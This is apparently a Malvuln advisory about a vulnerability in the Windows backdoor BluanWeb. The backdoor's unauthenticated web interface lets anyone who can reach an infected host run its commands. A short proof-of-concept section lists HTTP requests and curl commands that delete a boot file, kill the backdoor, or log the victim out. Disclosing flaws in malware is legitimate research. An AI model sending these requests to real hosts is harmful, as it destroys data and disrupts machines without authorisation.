Backdoor.Win32.BluanWeb Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/30903ccbc6747c0da5a2775884b78def_C.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BluanWeb  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware "BlueAngel For WebServer" by "leonshoh" listens on TCP port 80. The malware provides an HTML web-interface that exposes the entire system and creates HTML page with links to delete, logoff or exit the system. Third-party attackers who can reach an infected host can make HTTP GET request to execute commands made available by the backdoor.  
  
[固定磁盘C]  
卷标名：  
文件名长度 255  
文件系统 NTFS  
磁盘大小 3625.000000 MB  
剩余空间 3284.000000 MB  
[光盘D]  
  
[Fixed Disk C]  
Volume label name  
Filename length 255  
File system NTFS  
Disk size 3625.000000 MB  
Free space 3284.000000 MB  
[Disc D]  
  
Family:BluanWeb  
Type: PE32  
MD5: 30903ccbc6747c0da5a2775884b78def  
Vuln ID: MVID-2022-0506  
Disclosure: 03/03/2022  
  
Exploit/PoC:  
1) delete any file  
http://x.x.x.x/unlink_C:/Boot/BCD.LOG  
  
2) DOS backdoor  
curl http://x.x.x.x/exit  
  
3) sign out the victim machine  
curl http://x.x.x.x/logoff  
  
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